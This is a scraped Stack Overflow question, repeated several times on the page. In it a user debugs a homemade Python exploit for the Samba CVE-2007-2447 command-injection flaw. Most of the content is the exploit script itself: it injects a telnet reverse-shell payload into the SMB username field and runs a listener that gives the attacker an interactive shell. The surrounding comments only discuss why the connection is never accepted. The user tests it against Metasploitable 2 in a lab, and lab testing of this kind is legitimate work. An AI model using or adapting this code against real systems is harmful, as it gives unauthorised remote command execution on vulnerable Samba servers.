Python - Socket Appears to be Failing to Accept Connection












0















Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.



import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""

print("[+] " + username + password)

s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")

def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()

def commandSender(conn):
shell_status = True

shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()

command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "n", "utf-8"))

def recvStream(conn, addr, status):
status = True

while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)

rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]

exploit(rHost, rPort, lHost, lPort)


As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.










share|improve this question























  • You don’t accept incoming connections.

    – deets
    Nov 19 '18 at 23:49











  • I'm not sure I understand what you mean. Surely if I am telling the vulnerable host to Telnet back into my device I need to accept that connection request for the reverse shell?

    – DoesItMatter
    Nov 19 '18 at 23:55













  • Your shell socket never receives an accept method call. It listens. But it doesn’t actually get incoming connections.

    – deets
    Nov 20 '18 at 0:47











  • I still do not understand what you mean. As you can see in the payload, that is a reverse shell. Due to the vulnerability you can get the remote host to execute arbitrary commands due to unsanitised user input, so when I send that payload into the username the vulnerable host should be sending a request to connect to my machine.

    – DoesItMatter
    Nov 20 '18 at 9:53











  • Ah. Forget what I said, I got confused by your use of global variables.

    – deets
    Nov 20 '18 at 10:05
















0















Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.



import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""

print("[+] " + username + password)

s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")

def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()

def commandSender(conn):
shell_status = True

shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()

command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "n", "utf-8"))

def recvStream(conn, addr, status):
status = True

while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)

rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]

exploit(rHost, rPort, lHost, lPort)


As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.










share|improve this question























  • You don’t accept incoming connections.

    – deets
    Nov 19 '18 at 23:49











  • I'm not sure I understand what you mean. Surely if I am telling the vulnerable host to Telnet back into my device I need to accept that connection request for the reverse shell?

    – DoesItMatter
    Nov 19 '18 at 23:55













  • Your shell socket never receives an accept method call. It listens. But it doesn’t actually get incoming connections.

    – deets
    Nov 20 '18 at 0:47











  • I still do not understand what you mean. As you can see in the payload, that is a reverse shell. Due to the vulnerability you can get the remote host to execute arbitrary commands due to unsanitised user input, so when I send that payload into the username the vulnerable host should be sending a request to connect to my machine.

    – DoesItMatter
    Nov 20 '18 at 9:53











  • Ah. Forget what I said, I got confused by your use of global variables.

    – deets
    Nov 20 '18 at 10:05














0












0








0








Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.



import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""

print("[+] " + username + password)

s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")

def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()

def commandSender(conn):
shell_status = True

shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()

command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "n", "utf-8"))

def recvStream(conn, addr, status):
status = True

while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)

rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]

exploit(rHost, rPort, lHost, lPort)


As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.










share|improve this question














Recently I've been creating a Python implementation of the Metasploit module for CVE2007-2447, I found a basic script online which I took some parts of then decided that I wanted to build the listener into the script so that I wouldn't have to run Netcat alongside the Python script.



import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
print("[+] " + rHost, rPort, lHost, lPort)
payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
username = "/=`nohup " + payload + "`"
password = ""

print("[+] " + username + password)

s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
#try:
s.connect(rHost, int(rPort), timeout=1)
print("[+] Payload sent!")
handler(shell)
#except Exception as e:
# print(e)
# print("[*] Fail!")

def handler(shell):
(conn, address) = shell.accept()
print("[+] Connected to " + address)
commandSender(conn)
conn.close()

def commandSender(conn):
shell_status = True

shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
shell_recv_thread.start()

command = ''
while shell_status == True:
command = input()
if command == "exit":
shell_status = False
conn.close()
shell_recv_thread.join()
sys.exit(0)
conn.send(bytes(command + "n", "utf-8"))

def recvStream(conn, addr, status):
status = True

while status == True:
try:
print(conn.recv(1024))
except conn.timeout:
pass
except Exception as e:
print(e)
print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
print("[*] CVE2007-2447")
if len(sys.argv) != 5:
print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
else:
print("[+] Exectuting...")

shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell.bind((sys.argv[3], int(sys.argv[4])))
shell.listen(10)

rHost = sys.argv[1]
rPort = sys.argv[2]
lHost = sys.argv[3]
lPort = sys.argv[4]

exploit(rHost, rPort, lHost, lPort)


As you can see the script for this exploit is fairly simple, due to unsanitized user input an attacker can send commands to the affected device in the username field. I've checked Netstat while I run the script & I can see that my machine is definitely listening on the port I specify for lPort yet for some reason the socket seems to fail to accept the connection. In order to test the code I am running it inside a Ubuntu VM against Metasploitable 2 which is running in a separate VM on the same subnet.







python sockets exploit






share|improve this question













share|improve this question











share|improve this question




share|improve this question










asked Nov 19 '18 at 22:51









DoesItMatterDoesItMatter

11




11













  • You don’t accept incoming connections.

    – deets
    Nov 19 '18 at 23:49











  • I'm not sure I understand what you mean. Surely if I am telling the vulnerable host to Telnet back into my device I need to accept that connection request for the reverse shell?

    – DoesItMatter
    Nov 19 '18 at 23:55













  • Your shell socket never receives an accept method call. It listens. But it doesn’t actually get incoming connections.

    – deets
    Nov 20 '18 at 0:47











  • I still do not understand what you mean. As you can see in the payload, that is a reverse shell. Due to the vulnerability you can get the remote host to execute arbitrary commands due to unsanitised user input, so when I send that payload into the username the vulnerable host should be sending a request to connect to my machine.

    – DoesItMatter
    Nov 20 '18 at 9:53











  • Ah. Forget what I said, I got confused by your use of global variables.

    – deets
    Nov 20 '18 at 10:05



















  • You don’t accept incoming connections.

    – deets
    Nov 19 '18 at 23:49











  • I'm not sure I understand what you mean. Surely if I am telling the vulnerable host to Telnet back into my device I need to accept that connection request for the reverse shell?

    – DoesItMatter
    Nov 19 '18 at 23:55













  • Your shell socket never receives an accept method call. It listens. But it doesn’t actually get incoming connections.

    – deets
    Nov 20 '18 at 0:47











  • I still do not understand what you mean. As you can see in the payload, that is a reverse shell. Due to the vulnerability you can get the remote host to execute arbitrary commands due to unsanitised user input, so when I send that payload into the username the vulnerable host should be sending a request to connect to my machine.

    – DoesItMatter
    Nov 20 '18 at 9:53











  • Ah. Forget what I said, I got confused by your use of global variables.

    – deets
    Nov 20 '18 at 10:05

















You don’t accept incoming connections.

– deets
Nov 19 '18 at 23:49





You don’t accept incoming connections.

– deets
Nov 19 '18 at 23:49













I'm not sure I understand what you mean. Surely if I am telling the vulnerable host to Telnet back into my device I need to accept that connection request for the reverse shell?

– DoesItMatter
Nov 19 '18 at 23:55







I'm not sure I understand what you mean. Surely if I am telling the vulnerable host to Telnet back into my device I need to accept that connection request for the reverse shell?

– DoesItMatter
Nov 19 '18 at 23:55















Your shell socket never receives an accept method call. It listens. But it doesn’t actually get incoming connections.

– deets
Nov 20 '18 at 0:47





Your shell socket never receives an accept method call. It listens. But it doesn’t actually get incoming connections.

– deets
Nov 20 '18 at 0:47













I still do not understand what you mean. As you can see in the payload, that is a reverse shell. Due to the vulnerability you can get the remote host to execute arbitrary commands due to unsanitised user input, so when I send that payload into the username the vulnerable host should be sending a request to connect to my machine.

– DoesItMatter
Nov 20 '18 at 9:53





I still do not understand what you mean. As you can see in the payload, that is a reverse shell. Due to the vulnerability you can get the remote host to execute arbitrary commands due to unsanitised user input, so when I send that payload into the username the vulnerable host should be sending a request to connect to my machine.

– DoesItMatter
Nov 20 '18 at 9:53













Ah. Forget what I said, I got confused by your use of global variables.

– deets
Nov 20 '18 at 10:05





Ah. Forget what I said, I got confused by your use of global variables.

– deets
Nov 20 '18 at 10:05












0






active

oldest

votes











Your Answer






StackExchange.ifUsing("editor", function () {
StackExchange.using("externalEditor", function () {
StackExchange.using("snippets", function () {
StackExchange.snippets.init();
});
});
}, "code-snippets");

StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "1"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);

StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});

function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: true,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: 10,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});


}
});














draft saved

draft discarded


















StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53383790%2fpython-socket-appears-to-be-failing-to-accept-connection%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown

























0






active

oldest

votes








0






active

oldest

votes









active

oldest

votes






active

oldest

votes
















draft saved

draft discarded




















































Thanks for contributing an answer to Stack Overflow!


  • Please be sure to answer the question. Provide details and share your research!

But avoid



  • Asking for help, clarification, or responding to other answers.

  • Making statements based on opinion; back them up with references or personal experience.


To learn more, see our tips on writing great answers.




draft saved


draft discarded














StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f53383790%2fpython-socket-appears-to-be-failing-to-accept-connection%23new-answer', 'question_page');
}
);

Post as a guest















Required, but never shown





















































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown

































Required, but never shown














Required, but never shown












Required, but never shown







Required, but never shown







Popular posts from this blog

MongoDB - Not Authorized To Execute Command

in spring boot 2.1 many test slices are not allowed anymore due to multiple @BootstrapWith

How to fix TextFormField cause rebuild widget in Flutter